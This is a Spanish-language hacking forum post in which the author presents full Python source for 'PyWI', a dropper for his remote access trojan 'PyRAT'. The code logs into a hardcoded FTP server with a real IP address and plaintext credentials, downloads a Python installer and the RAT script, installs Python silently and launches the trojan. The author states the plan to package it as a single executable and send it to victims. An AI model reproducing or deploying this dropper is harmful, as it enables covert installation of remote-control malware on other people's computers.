comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

PiWI (PyRAT complemento)

  • 0 Respuestas
  • 1028 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Octubre 15, 2013, 12:04:03 am »
Hola Gente! como les va??? Aprovecho en este ratito libre q tengo antes de acostarme para postear lo que no pude a la mañana jeje.

Hace algún tiempo atrás estuve experimentando un poco con el tema de PyRAT un troyano muy básico codeado en python. Lamentablemente, estuvo bastante tiempo estancado (espero poder retomarlo algún dìa) pero mientras tanto aproveché hoy a la mañana para escribir PyWI, un complemento de dicho RAT.

Básicamente, PyWi se encarga de habilitar el funcionamiento del RAT en windows mediante la instalación de python2.7 (sigilosamente) para luego activar el troyano.

No es mucho lo que hace en realidad pero pretendo ir mejorándolo tmb.

Sé que python podría parecer algo inadecuado para el tema de los RATs, principalmente por el hecho de que windows no trae python por defecto e instalarlo (tal y como lo hace PyWI) es bastante sospechoso. Sin embargo, se pueden cambiar algunas opciones durante la configuración como para que no sea tan delator.

Por otro lado, creo que hay mucho terreno explorado en otros lenguajes y resulta python un lenguaje con mucho camino por andar, por lo que en vez de hacer lo que ya hicieron miles de programadores, prefiero intentar hacer algo con mi querido python jeje.

Bueno, primero les comento como organicé todo y luego les dejo el código.

PyWI consiste en las siguientes clases:
    - Main --> clase principal; instancia a las clases siguientes y ejecuta el RAT
    - FTPDownloader --> descarga el archivo de instalación de python2.7 y el RAT
    - PyInstaller --> instala python2.7
    - ExceptionHandler --> captura los eventuales errores y los envía vía mail/FTP (esto último inconcluso)

main.py
Código: Python
  1. #!/usr/bin/env python
  2. # -*- encoding: utf-8 -*-
  3.  
  4. from ftpDownloader import FTPDownloader
  5. from pyInstaller import PyInstaller
  6. from exceptionHandler import ExceptionHandler
  7. from os import popen
  8. from time import sleep
  9.  
  10. class Main(object):
  11.         def __init__(self, host, dir, user=None, passwd=None):
  12.                 self.host = host
  13.                 self.user = user
  14.                 self.passwd = passwd
  15.                 self.dir = dir
  16.  
  17.         def ftpDownload(self, files):
  18.                 ftpd = FTPDownloader(self.host, self.dir, self.user, self.passwd)
  19.  
  20.                 ftpd.login()
  21.  
  22.                 for file in files:
  23.                         ftpd.file = file
  24.                         ftpd.downloadFile()
  25.  
  26.                 ftpd.close()
  27.  
  28.         def pythonInstall(self):
  29.                 pyInstaller = PyInstaller()
  30.                 pyInstaller.install()
  31.  
  32.         def initRAT(self):
  33.                 popen('python rat.py')
  34.  
  35. def main():
  36.         host = '31.170.160.100'
  37.         user = 'a3824860'
  38.         passwd = 'l0g1nn0w'
  39.         dir = 'public_html'
  40.         files = ['pyInstaller.msi', 'rat.py']
  41.  
  42.         try:
  43.                 main = Main(host, dir, user, passwd)
  44.                 main.ftpDownload(files)
  45.                 main.pythonInstall()
  46.                 main.initRAT()
  47.         except Exception as e:
  48.                 exception = ExceptionHandler(e)
  49.                 print('[*] retrying in 1000s')
  50.                 sleep(1000)
  51.                 main()
  52.  
  53. if __name__ == '__main__':
  54.         main()

ftpDownloader.py
Código: Python
  1. #!/usr/bin/env python
  2. # -*- encoding: utf-8 -*-
  3.  
  4. from ftplib import FTP
  5. import sys
  6.  
  7. class FTPDownloader(object):
  8.     def __init__(self, host, dir, user=None, passwd=None, file=None):
  9.         self.user = user
  10.         self.passwd = passwd
  11.         self.dir = dir
  12.         self.file = file
  13.  
  14.         self.ftp = FTP(host)
  15.  
  16.     def login(self):
  17.         print('[+] logging')
  18.         self.ftp.login(self.user, self.passwd)
  19.         self.ftp.cwd(self.dir)
  20.  
  21.     def downloadFile(self):
  22.         print('[+] downloading '+self.file)
  23.         self.ftp.voidcmd('TYPE I')
  24.  
  25.         datasock, estsize = self.ftp.ntransfercmd('RETR ' + self.file)
  26.         transbytes = 0
  27.         fd = open(self.file, 'wb')
  28.         while 1:
  29.             buf = datasock.recv(2048)
  30.             if not len(buf):
  31.                 break
  32.             fd.write(buf)
  33.             transbytes += len(buf)
  34.             sys.stdout.write('Received %d ' % transbytes)
  35.  
  36.             if estsize:
  37.                 sys.stdout.write('o0f %d bytes (%.1f%%)\r' % \
  38.                         (estsize, 100.0 * float(transbytes) / float(estsize)))
  39.             else:
  40.                 sys.stdout.write('bytes\r')
  41.             sys.stdout.flush()
  42.         sys.stdout.write('\n')
  43.         fd.close()
  44.         datasock.close()
  45.         self.ftp.voidresp()
  46.  
  47.     def close(self):
  48.         print('[+] closing connection')
  49.         self.ftp.quit()

pyInstaller.py
Código: Python
  1. #!/usr/bin/env python
  2. # -*- encoding: utf-8 -*-
  3.  
  4. from time import sleep
  5. from os import popen
  6.  
  7. class PyInstaller(object):
  8.         """
  9.         Instala Python v2.7 de manera silenciosa.
  10.         """
  11.         def __init__(self):
  12.                 installer  = 'pyInstaller.msi'
  13.                 self.cmd = 'msiexec /i ' + installer
  14.                 # debo mejorar la configuración de la instalación
  15.                 # para cambiar PATH y algunas cosas más.
  16.  
  17.         def install(self):
  18.                 print('[+] installing python')
  19.                 popen(self.cmd)

exceptionHandler.py
Código: Python
  1. #!/usr/bin/env python
  2. # -*- encoding: utf-8 -*-
  3.  
  4. class ExceptionHandler(object):
  5.         def __init__(self, e):
  6.                 error = '[-] ERROR:', e
  7.                 print(e)
  8.  
  9.                 # falta agregar el resto del código para:
  10.                 #
  11.                 #       - conseguir información del host (ip o
  12.                 #               nombre del host, y demás)
  13.                 #
  14.                 #       - enviar la información vía mail o FTP
  15.                 ##########################################

La idea es crear un único exe a partir de estos archivos y enviarlo.

Si alguno quiere probar su funcionamiento puede hacerlo con el código tal como está (dejé listo un servidor FTP con 2 archivos: el instalador y un pseudo RAT).

Bueno, eso es todo. Cualquier cosa no duden en comentar.

Saludos!
WhiZ
« Última modificación: Octubre 15, 2013, 07:24:12 pm por WhiZ »


 

¿Te gustó el post? COMPARTILO!



Screenshot y WebcamCapture (proyecto PyRAT)

Iniciado por WhiZ

Respuestas: 4
Vistas: 1507
Último mensaje Noviembre 07, 2013, 10:21:50 pm
por ANTRAX